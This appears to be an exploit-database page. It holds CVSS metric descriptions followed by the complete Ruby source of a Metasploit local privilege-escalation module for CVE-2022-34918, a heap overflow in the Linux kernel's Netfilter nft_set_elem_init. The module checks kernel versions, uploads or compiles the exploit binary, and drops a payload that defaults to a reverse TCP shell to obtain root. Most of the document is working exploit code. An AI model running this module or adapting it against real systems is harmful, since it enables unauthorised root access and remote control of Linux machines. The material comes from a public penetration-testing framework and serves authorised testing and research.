The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Netfilter nft_set_elem_init Heap Overflow Privilege Escalation
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::Common
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::Compile
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Netfilter nft_set_elem_init Heap Overflow Privilege Escalation',
'Description' => %q{
An issue was discovered in the Linux kernel through 5.18.9.
A type confusion bug in nft_set_elem_init (leading to a buffer overflow)
could be used by a local attacker to escalate privileges.
The attacker can obtain root access, but must start with an unprivileged
user namespace to obtain CAP_NET_ADMIN access.
The issue exists in nft_setelem_parse_data in net/netfilter/nf_tables_api.c.
},
'License' => MSF_LICENSE,
'Author' => [
'Arthur Mongodin <amongodin[at]randorisec.fr> (@_Aleknight_)', # Vulnerability discovery, original exploit PoC
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # Metasploit module, exploit PoC updates
],
'DisclosureDate' => '2022-02-07',
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'SessionTypes' => %w[meterpreter shell],
'DefaultOptions' => {
'Payload' => 'linux/x64/shell_reverse_tcp',
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependFork' => true,
'WfsDelay' => 30
},
'Targets' => [['Auto', {}]],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [UNRELIABLE_SESSION], # The module could fail to get root sometimes.
'Stability' => [OS_RESOURCE_LOSS, CRASH_OS_DOWN], # After too many failed attempts, the system needs to be restarted.
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'References' => [
['CVE', '2022-34918'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-34918'],
['URL', 'https://ubuntu.com/security/CVE-2022-34918'],
['URL', 'https://www.randorisec.fr/crack-linux-firewall/'],
['URL', 'https://github.com/randorisec/CVE-2022-34918-LPE-PoC']
]
)
)
register_options(
[
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
OptInt.new('MAX_TRIES', [ true, 'Number of times to execute the exploit', 5])
]
)
register_advanced_options(
[
OptString.new('WritableDir', [true, 'Directory to write persistent payload file.', '/tmp'])
]
)
end
def base_dir
datastore['WritableDir']
end
def upload_exploit_binary
@executable_path = ::File.join(base_dir, rand_text_alphanumeric(5..10))
upload_and_chmodx(@executable_path, exploit_data('CVE-2022-34918', 'ubuntu.elf'))
register_file_for_cleanup(@executable_path)
end
def upload_payload_binary
@payload_path = ::File.join(base_dir, rand_text_alphanumeric(5..10))
upload_and_chmodx(@payload_path, generate_payload_exe)
register_file_for_cleanup(@payload_path)
end
def upload_source
@exploit_source_path = ::File.join(base_dir, rand_text_alphanumeric(5..10))
mkdir(@exploit_source_path)
register_dir_for_cleanup(@exploit_source_path)
dirs = [ '.' ]
until dirs.empty?
current_dir = dirs.pop
dir_full_path = ::File.join(::Msf::Config.install_root, 'external/source/exploits/CVE-2022-34918', current_dir)
Dir.entries(dir_full_path).each do |ent|
next if ent == '.' || ent == '..'
full_path_host = ::File.join(dir_full_path, ent)
relative_path = ::File.join(current_dir, ent)
full_path_target = ::File.join(@exploit_source_path, current_dir, ent)
if File.file?(full_path_host)
vprint_status("Uploading #{relative_path} to #{full_path_target}")
upload_file(full_path_target, full_path_host)
elsif File.directory?(full_path_host)
vprint_status("Creating the directory #{full_path_target}")
mkdir(full_path_target)
dirs.push(relative_path)
else
print_error("#{full_path_host} doesn't look like a file or a directory")
end
end
end
end
def compile_source
fail_with(Failure::BadConfig, 'make command not available on the target') unless command_exists?('make')
info = cmd_exec("make -C #{@exploit_source_path}")
vprint_status(info)
@executable_path = ::File.join(@exploit_source_path, 'ubuntu.elf')
if exists?(@executable_path)
chmod(@executable_path, 0o700) unless executable?(@executable_path)
print_good('Compilation was successful')
else
fail_with(Failure::UnexpectedReply, 'Compilation has failed (executable not found)')
end
end
def run_payload
success = false
1.upto(datastore['MAX_TRIES']) do |i|
vprint_status "Execution attempt ##{i}"
info = cmd_exec(@executable_path, @payload_path)
info.each_line do |line|
vprint_status(line.chomp)
end
if session_created?
success = true
break
end
sleep 3
end
if success
print_good('A session has been created')
else
print_bad('Exploit has failed')
end
end
def get_external_source_code(cve, file)
file_path = ::File.join(::Msf::Config.install_root, "external/source/exploits/#{cve}/#{file}")
::File.binread(file_path)
end
def module_check
release = kernel_release
version = "#{release} #{kernel_version.split(' ').first}"
ubuntu_offsets = strip_comments(get_external_source_code('CVE-2022-34918', 'src/util.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first
ubuntu_kernels = ubuntu_offsets.scan(/"(.+?)"/).flatten
if ubuntu_kernels.empty?
fail_with(Msf::Module::Failure::BadConfig, 'Error parsing the list of supported kernels.')
end
fail_with(Failure::NoTarget, "No offsets for '#{version}'") unless ubuntu_kernels.include?(version)
fail_with(Failure::BadConfig, "#{base_dir} is not writable.") unless writable?(base_dir)
fail_with(Failure::BadConfig, '/tmp is not writable.') unless writable?('/tmp')
if is_root?
fail_with(Failure::BadConfig, 'Session already has root privileges.')
end
end
def check
config = kernel_config
return CheckCode::Unknown('Could not retrieve kernel config') if config.nil?
return CheckCode::Safe('Kernel config does not include CONFIG_USER_NS') unless config.include?('CONFIG_USER_NS=y')
return CheckCode::Safe('Unprivileged user namespaces are not permitted') unless userns_enabled?
return CheckCode::Safe('LKRG is installed') if lkrg_installed?
arch = kernel_hardware
return CheckCode::Safe("System architecture #{arch} is not supported") unless arch.include?('x86_64')
release = kernel_release
version, patchlvl = release.match(/^(\d+)\.(\d+)/)&.captures
if version&.to_i == 5 && patchlvl && (7..19).include?(patchlvl.to_i)
return CheckCode::Appears # ("The kernel #{version} appears to be vulnerable, but no offsets are available for this version")
end
CheckCode::Safe
end
def exploit
module_check unless datastore['ForceExploit']
if datastore['COMPILE'] == 'True' || (datastore['COMPILE'] == 'Auto' && command_exists?('make'))
print_status('Uploading the exploit source code')
upload_source
print_status('Compiling the exploit source code')
compile_source
else
print_status('Dropping pre-compiled binaries to system...')
upload_exploit_binary
end
print_status('Uploading payload...')
upload_payload_binary
print_status('Running payload on remote system...')
run_payload
end
end
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